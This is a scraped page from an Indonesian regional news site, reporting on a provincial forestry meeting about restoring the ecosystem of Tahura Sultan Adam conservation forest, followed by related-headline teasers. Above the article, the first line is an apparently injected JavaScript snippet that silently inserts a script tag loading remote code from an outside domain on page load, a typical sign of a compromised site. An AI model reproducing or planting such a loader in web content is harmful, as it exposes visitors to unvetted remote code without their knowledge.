(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalsel menggelar rapat percepatan pemulihan ekosistem serta menunjang keberhasilan kegiatan rehabilitasi DAS kawasan hutan konservasi Tahura Sultan Adam, Kamis (4/8/2022).
Dibuka oleh Plt. Kabid Pengelolaan Daerah Aliran Sungai Rehabilitasi Hutan & Lahan (PDASRHL) I Gede Arya Subhakti, rapat ini dihadiri perwakilan BPDAS Barito, Pembakal/Kepala Desa lingkup Tahura Sultan Adam serta perwakilan pemegang PPKH.
“Kali ini kita akan melaksanakan sosialisasi rencana pemulihan ekosistem di Tahura Sultan Adam, dalam hal ini nanti kita akan berdiskusi mengenai solusi dan saran dalam percepatan pemulihan ekosistem di Tahura Sultan Adam,” ucap I Gede Arya Subhakti.
Berhadir kepala Tahura Sultan Adam Ainun Jariah, menjelaskan dalam paparannya bahwa betapa pentingnya kegiatan sosialisasi ini dilakukan, sebab sosialisasi ini bertujuan untuk memulihkan kawasan hutan ke kondisi asli dan memulihkan kawasan hutan ke kondisi sesuai pengelolaan tertentu.
Baca juga : Lepas 16 Peserta Pramuka HSU ke Jamnas XI, Ini Pesan Plt Bupati Husairi
“Jadi kita ingin mengembalikan ke ekosistem aslinya yang mana nantinya tumbuhan, hewan dan satwa liar yang dulunya tidak ada lagi atau hilang akan kembali ada lagi, karena memang tujuan Tahura Sultan Adam sebagai hutan konvservasi adalah untuk koleksi tumbuhan dan satwa liar, dan yang dimaksud pemulihan kondisi sesuai pengelolaan tertentu contohnya adalah untuk pemberdayaan masyarakat misalnya di blok tradisional kita melakukan pemulihan ekositem dengan jenis-jenis tanaman HHBK, tujuannya untuk meningkatkan pendapatan masyarakat,” ucap Ainun.
Dalam sosialisasi tersebut diadakan diskusi bersama dan rencana tindak lanjut mengenai pemulihan ekosistem di Tahura Sultan Adam dengan membuat tim kerja pemulihan ekosistem, membuat MOU dengan stakeholder, memastikan proses pemulihan ekosistem mengacu pada aturan P.48/Menhut-II/2014 tentang cara pelaksanaan pemulihan ekosistem pada kawasan suaka alam dan kawasan pelestarian alam, serta perbaikan mekanisme Rehabilitasi di Tahura Sultan Adam.(Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN- Langkah serius Hj Raudahatul Jannah alias Acil Odah untuk mencalonkan diri pada Pemilihan… Read More
KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
This website uses cookies.